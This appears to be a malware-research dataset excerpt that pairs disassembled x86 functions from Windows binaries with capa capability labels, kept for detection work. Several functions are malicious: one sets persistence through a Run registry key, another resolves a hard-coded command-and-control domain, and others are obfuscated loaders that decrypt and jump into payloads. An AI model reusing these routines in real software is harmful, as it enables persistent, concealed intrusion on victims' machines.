joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4285e6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x428628
call fcn.0042df2d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x428628
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x42861f
xor eax, eax
jmp 0x428630
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00428636
pop edi
pop esi
pop ebx
ret 4

Function at 0x42c3d4
Capabilities:
Create http request

Disassembly:
mov eax, 0x432460
call fcn.00411f8c
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x42c40c
call fcn.0042df2d
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x42c431
push eax
push dword [esi + 4]
call fcn.0042d099
jmp 0x42c43d
push esi
push eax
mov ecx, 0x4466b0
call fcn.0042c44e
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 0x18

Function at 0x42c5ae
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x43249b
call fcn.00411f8c
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.0042a558
mov eax, dword [0x4407dc]
lea ebx, [esi + 0x24]
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebx], eax
mov eax, dword [ebp + 0x10]
mov dword [esi], vtable.CInternetFile.0
mov ecx, 0x4466b0
mov byte [ebp - 4], 1
push dword [eax + 0xc]
push dword [ebp + 8]
call fcn.0042c44e
push dword [ebp + 0xc]
lea ecx, [esi + 0xc]
call fcn.00425d8c
mov ecx, dword [ebp + 0x10]
mov eax, dword [ecx + 8]
mov dword [esi + 0x1c], eax
lea eax, [ebp + 0x10]
push eax
call fcn.0040a153
push eax
mov ecx, ebx
mov byte [ebp - 4], 2
call fcn.00425d3c
lea ecx, [ebp + 0x10]
mov byte [ebp - 4], 1
call fcn.00425c03
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x10
Function at 0x42e539
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x42e567
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x42e585
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0042e49f
jmp 0x42e585
mov eax, dword [esi + 0x14]
test eax, eax
je 0x42e585
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0042e49f
test edi, edi
mov eax, edi
jne 0x42e56f
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x430d08
Capabilities:
Receive data
Receive data on socket

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx + 4]
call sub.WSOCK32.dll_recv
ret 0xc

Function at 0x430d1f
Capabilities:
Send data
Send data on socket

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx + 4]
call sub.WSOCK32.dll_send
ret 0xc
Function at 0x40629d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x42275c], 0
jne 0x4062db
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4062b1
mov dword [ecx*4 + 0x422758], eax
inc ecx
cmp ecx, 0x100
jl 0x4062ac
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x406308
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x422758]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4062e9
not eax
pop ebp
ret 0xc

Function at 0xaf9058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00af91a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xaf907e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaf906a
add dl, dl
jne 0xaf9089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaf90dc
xor eax, eax
add dl, dl
jne 0xaf9096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaf917d
add dl, dl
jne 0xaf90a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaf90b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaf90bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaf90c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xaf90d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xaf9075
mov eax, 1
add dl, dl
jne 0xaf90ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaf90f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaf90e1
sub eax, ebx
mov ebx, 1
jne 0xaf9128
mov ecx, 1
add dl, dl
jne 0xaf910e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xaf9119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaf9105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaf9075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xaf913f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xaf914a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaf9136
cmp eax, 0x7d00
jae 0xaf916d
cmp eax, 0x500
jb 0xaf9168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaf9075
cmp eax, 0x7f
ja 0xaf9170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaf9075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xaf919e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xaf9075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4062da
Capabilities:
Encode data using xor

Disassembly:
sub al, 0x14
xor edi, esi
xor ecx, edi
xor ebx, ebx
add ebx, ecx
mov edx, 4
sub esp, edx
mov dword [esp], ebx
mov edi, 0x37fb0cb8
mov ecx, 0x270c8a24
xor ecx, edi
mov edx, 0x44fd407
xor edx, 0x500ce521
xor edx, ecx
mov esi, 0x840912
mov edi, 0x443020a8
xor esi, edi
xor edx, esi
mov ecx, edx
mov ebx, ecx
mov ecx, ebx
add esp, 0xfffffffc
mov dword [esp], ecx
mov ecx, 0x47a44934
xor ecx, 0x3e746021
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x3b2671c7
and ecx, 0xc4d98e38
or ecx, edx
add esp, 0xfffffffc
mov edx, esp
mov dword [edx], ecx
mov esi, 0x48881636
mov ecx, 0x5815771
xor ecx, esi
mov edx, 0x3d7101cd
mov ebx, 0x32ce0858
xor ebx, edx
xor ebx, ecx
pop edi
xor ebx, edi
mov ecx, 0
xor ecx, ebx
mov edx, 4
sub esp, edx
mov dword [esp], ecx
call eax
pop edi
mov esi, 0x2f301465
mov ecx, 0x106db1e8
xor ecx, esi
mov eax, 0x20ccb4f3
xor ecx, eax
xor ecx, 0x1647f01b
mov eax, ecx
add esp, 0xfffffffc
mov dword [esp], eax
mov eax, 0x5b26a005
mov esi, 0x5bce3b32
xor esi, eax
mov edx, 0x2a0075
mov eax, 0x9147902
xor edx, eax
xor edx, esi
pop edi
xor edx, edi
push 0x7fd01e30
mov edi, 0x600bf7ef
pop ecx
xor edi, ecx
push edi
mov eax, 0x20124809
mov ecx, 0x54840200
xor eax, ecx
pop esi
xor eax, esi
push 0x77c3ff19
mov ecx, 0x1cce3c0e
pop esi
xor ecx, esi
xor eax, ecx
mov edi, 0xcb05297
mov ecx, 0x3cb26fb6
xor ecx, edi
push 0x57d1f448
mov esi, 0x1165f408
pop edi
xor esi, edi
xor ecx, esi
mov esi, 0x30d836f1
xor esi, 0x11fd8d33
xor ecx, esi
mov ebx, 0x3163484b
xor ecx, ebx
xor ecx, 0x66b04238
mov edi, 0
mov ebx, 4
xor edi, ebx
sub esp, edi
mov esi, esp
mov dword [esi], edx
add esp, 0xfffffffc
mov edi, 0x64dd6377
mov esi, 0x64dd6377
xor esi, edi
xor esi, esp
mov dword [esi], ecx
xor edx, edx
mov dl, byte [eax]
add ecx, edx
mov dl, byte [ecx]
pop ecx
mov byte [eax], dl
mov esi, 0x2ea6c624
mov ebx, 0x41a59b5c
xor ebx, esi
mov edi, 0x7a9cf93
xor edi, 0x68aa92ea
xor edi, ebx
sub eax, edi
pop edx
push 0xb11764b0
mov ebx, 0x4ee89b4f
pop esi
xor ebx, esi
add edx, ebx
xor ebx, ebx
add ebx, edx
and ebx, ebx
jne 0x406419
mov eax, 0x168800c2
mov edi, 0x4100102c
xor eax, edi
mov edx, 0x2ed6d860
xor eax, edx
xor eax, 0x795ed907
push 0x6e1d02fc
mov ebx, 0x6e5d0ee8
pop ecx
xor ebx, ecx
mov edi, 0
mov ecx, 0x4000
xor edi, ecx
xor ebx, edi
xor eax, ebx
call eax
pop ebx
pop ebx
ret

Function at 0x4069dc
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x406a24
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.00406978
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406a2b
lea eax, [ebp - 4]
call fcn.00403198
ret
Function at 0x401000
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e8
mov eax, dword [0x418040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.lschina.kro.kr
push 0
push 0
mov dword [ebp - 0x1e8], 0x30b65c2b
mov dword [ebp - 0x1e4], 0x11540527
mov dword [ebp - 0x1e0], 0x25523a26
mov dword [ebp - 0x1dc], 0x550902b7
mov dword [ebp - 0x1d8], 0x6a5c354a
mov dword [ebp - 0x1d4], 0x5e011c5e
mov dword [ebp - 0x1d0], 0x2bd75c3a
mov dword [ebp - 0x1cc], 0x90a5e0b
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1c8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersion_run
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x4010b4
mov eax, dword [ebp - 0x1c8]
test eax, eax
je 0x4010f4
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4010f4
push 0x15
push str.C:WindowsClient.exe
push 1
push 0
push str.System
push dword [ebp - 0x1c8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x1c8]
test eax, eax
je 0x4010e2
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4010f4
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x1c8]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401108
push 0
call fcn.00405f4e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
lea ecx, [ebp - 0x1c4]
call fcn.00401140
lea eax, [ebp - 0x1e8]
push eax
sub esp, 8
lea ecx, [ebp - 0x1c4]
call fcn.00401340
lea ecx, [ebp - 0x1c4]
call fcn.004013c0
int3

Function at 0x401340
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, ecx
push 0x10
call fcn.004062d4
add esp, 4
mov dword [esi], eax
lea eax, [esi + 8]
mov dword [esi + 4], 0
mov dword [esi + 0x198], 0
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4013b8
push str.lschina.kro.kr
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
movups xmm0, xmmword [edi]
mov dword [esi], eax
mov eax, esi
mov dword [esi + 4], 0x1151
movups xmmword [esi + 0x19c], xmm0
movups xmm0, xmmword [edi + 0x10]
pop edi
movups xmmword [esi + 0x1ac], xmm0
pop esi
pop ebp
ret 0xc
push 0
call fcn.00405f4e
int3
Function at 0x401bd0
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x418040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, ecx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x44], 0x64636579
movzx ecx, byte [esi + 3]
shl ecx, 8
movzx eax, byte [esi + 2]
or ecx, eax
mov dword [ebp - 0x30], 0x36615833
shl ecx, 8
movzx eax, byte [esi + 1]
or ecx, eax
mov dword [ebp - 0x2c], 0x174
shl ecx, 8
movzx eax, byte [esi]
or ecx, eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x40], ecx
movzx ecx, byte [esi + 7]
movzx eax, byte [esi + 6]
shl ecx, 8
or ecx, eax
mov dword [ebp - 0x1c], 0x5a344d54
movzx eax, byte [esi + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 4]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xa]
mov dword [ebp - 0x3c], ecx
movzx ecx, byte [esi + 0xb]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 8]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xe]
mov dword [ebp - 0x38], ecx
movzx ecx, byte [esi + 0xf]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xd]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xc]
shl ecx, 8
or ecx, eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x34], ecx
movzx ecx, byte [esi + 0x13]
shl ecx, 8
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x20], eax
movzx eax, byte [esi + 0x12]
or ecx, eax
movzx eax, byte [esi + 0x11]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x10]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x16]
mov dword [ebp - 0x18], ecx
movzx ecx, byte [esi + 0x17]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x15]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
mov dword [ebp - 0x14], ecx
movzx ecx, byte [esi + 0x1b]
movzx eax, byte [esi + 0x1a]
movzx edx, byte [esi + 0x1f]
shl ecx, 8
or ecx, eax
shl edx, 8
movzx eax, byte [esi + 0x19]
shl ecx, 8
or ecx, eax
mov dword [ebp - 8], 0x4d654c
movzx eax, byte [esi + 0x18]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x1e]
or edx, eax
mov dword [ebp - 0x10], ecx
movzx eax, byte [esi + 0x1d]
mov ecx, edi
shl edx, 8
or edx, eax
movzx eax, byte [esi + 0x1c]
shl edx, 8
or edx, eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x84]
mov dword [ebp - 0xc], edx
push eax
call fcn.004017d0
xor eax, eax
mov edx, eax
mov ecx, eax
shr edx, 2
and ecx, 3
shl ecx, 3
mov edx, dword [ebp + edx*4 - 0x84]
shr edx, cl
mov byte [ebx + eax], dl
inc eax
cmp eax, 0x40
jl 0x401d47
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402a95
mov esp, ebp
pop ebp
ret 0x18

Function at 0x4034fc
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40353b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40353b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40353b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40353b
cmp dword [ecx + 0x74], 0xe
jbe 0x40353b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4082a6
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41232c
push 0x412324
push str.FlsAlloc
push 0x1f
call fcn.00408182
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4082da
push dword [ebp + 8]
mov ecx, esi
call dword [0x41016c]
call esi
jmp 0x4082e0
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x408324
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41233c
push 0x412334
push str.FlsGetValue
push 0x21
call fcn.00408182
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40835b
push dword [ebp + 8]
mov ecx, esi
call dword [0x41016c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x408363
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x412344
push 0x41233c
push str.FlsSetValue
push 0x22
call fcn.00408182
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40839d
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41016c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40a35d
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40a3fa
push ebx
push esi
call fcn.0040a326
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040a2ba
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40a3a7
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40a3f9
push edi
push eax
call fcn.00408531
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40a3c7
call fcn.00407a05
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40a3f8
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040a2ba
add esp, 0x20
test eax, eax
jne 0x40a3e6
push edi
call fcn.00407a05
jmp 0x40a3ee
push ebx
call fcn.00407a05
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x40f2c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40f2ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40f2ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x405a03
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x405a12
pop dword [ebp - 0xc]
mov eax, 0x8db3edc0
sub eax, 0x8d7393ae
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x2e9766ed
sub dword [ebp - 0x1c], 0xe04521a2
mov dword [ebp - 0x18], 0xaccd699
sub dword [ebp - 0x18], 0xd8998a54
mov dword [ebp - 0x14], 0x17ba56d9
sub dword [ebp - 0x14], 0xcb6e12ab
mov dword [ebp - 0x10], 0x4f1aedf3
sub dword [ebp - 0x10], 0x4f1aedf3
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x85825706
sub eax, 0x8541d602
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xcc52b0e8
sub dword [ebp - 0x1c], 0x57e04792
mov dword [ebp - 0x18], 0xaef88764
sub dword [ebp - 0x18], 0x6d8c25ef
mov dword [ebp - 0x14], 0x8bdb648b
sub dword [ebp - 0x14], 0x286bf81f
mov dword [ebp - 0x10], 0xf82cbf6c
sub dword [ebp - 0x10], 0xf82cbf6c
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x98e0be40
sub eax, 0x98a03d40
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x395a0
push 0
call eax
mov ecx, 0x30612f8c
sub ecx, 0x3060de10
xor edx, edx
add edx, eax
mov ebx, 0x46e400
add ebx, dword [ebp - 0xc]
mov esi, 0x21576b67
add esi, 0x8691c4bd
add dword [ebp - 4], edi
mov edi, dword [ebx]
add dword [ebp - 8], 0x44cc1d49
add edi, esi
xor dword [ebp - 4], ecx
mov dword [edx], edi
add dword [ebp - 8], 0xcf130bab
add edx, 0x91ca992d
sub edx, 0x91ca9929
add ebx, 0xebeb553c
add ebx, 0x1414aac8
loop 0x405b30
add eax, 0x2a9c30a5
add eax, 0xd565081e
mov ebx, eax
add eax, 0x7afa4234
add eax, 0x8505bdd1
mov ecx, 0xf64d45ca
add ecx, 0x9f2ba36
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x405cce
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x425f30
push esi
call fcn.00406212
push esi
call fcn.00405c71
mov edi, eax
test edi, edi
jne 0x405cef
xor eax, eax
jmp 0x405d47
push edi
call fcn.004064a6
test byte [0x42a258], 0x80
je 0x405d0c
mov ax, word [edi]
test ax, ax
je 0x405ceb
cmp ax, 0x5c
je 0x405ceb
sub edi, esi
sar edi, 1
jmp 0x405d26
call fcn.00406555
test eax, eax
je 0x405d20
test byte [eax], 0x10
je 0x405ceb
push esi
call fcn.00405c12
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405d12
call fcn.00405bc6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405dc2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405de1
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x405de7
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.kernel32.dll_CreateFileW]
ret 0xc
Function at 0x4111d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
mov esi, dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 0xc]
push eax
xor ebx, ebx
inc ebx
push ebx
xor edi, edi
push edi
push 0x431bfc
push 0x80000002
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], 0x200
call esi
test eax, eax
jne 0x411235
lea eax, [ebp - 8]
push eax
push str.EnableJavaUpdate
push dword [ebp - 0xc]
mov dword [ebp - 8], edi
call main
add esp, 0xc
test eax, eax
je 0x411227
cmp dword [ebp - 8], ebx
je 0x41122a
mov dword [ebp - 4], ebx
push dword [ebp - 0xc]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x411243
push str.ISAUDisabled__:_Error_opening_HKLM_Policy_key_for_reading
call main
pop ecx
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], edi
jne 0x4112d5
call fcn.00410107
test eax, eax
jne 0x4112d2
call main
test eax, eax
je 0x4112d2
lea eax, [ebp - 0xc]
push eax
push ebx
push edi
push 0x431c74
push 0x80000001
call esi
test eax, eax
jne 0x4112d5
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x210]
push eax
push edi
push edi
push 0x431c9c
push dword [ebp - 0xc]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
push dword [ebp - 0xc]
mov esi, eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
cmp esi, edi
jne 0x4112d5
mov dword [ebp - 8], edi
call fcn.0040feb9
test eax, eax
je 0x4112c7
push 4
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x210]
push eax
call fcn.0040ff5d
mov eax, dword [ebp - 8]
add esp, 0x10
jmp 0x4112cd
mov eax, dword [ebp - 0x210]
cmp eax, 0x64
jne 0x4112d5
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x413c40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x413c4f
pop dword [ebp - 0x44]
mov eax, 0x413c4f
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x3ea2a
push 0
mov eax, 0xefa3b52e
sub eax, 0xef60f30a
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x3c23
mov edx, eax
mov esi, 0x1acde6b7
add esi, 0xe5762149
add esi, dword [ebp - 0x44]
mov ebx, 0x4ede81e7
sub ebx, 0x898dc538
mov edi, dword [esi]
sub edi, ebx
xor dword [ebp - 0x2c], 0xf2e3a089
mov dword [edx], edi
add dword [ebp - 0x24], 0xb817968d
add edx, 0x27c6cb2f
add edx, 0xd83934d5
add esi, 0x5a1823
sub esi, 0x5a181f
loop 0x413ca3
add eax, 0xe35f
mov ebx, eax
add eax, 0x355c73cb
sub eax, 0x355c73c6
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x4187e4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43a210]
jne 0x4187ee
repz ret
jmp fcn.00420617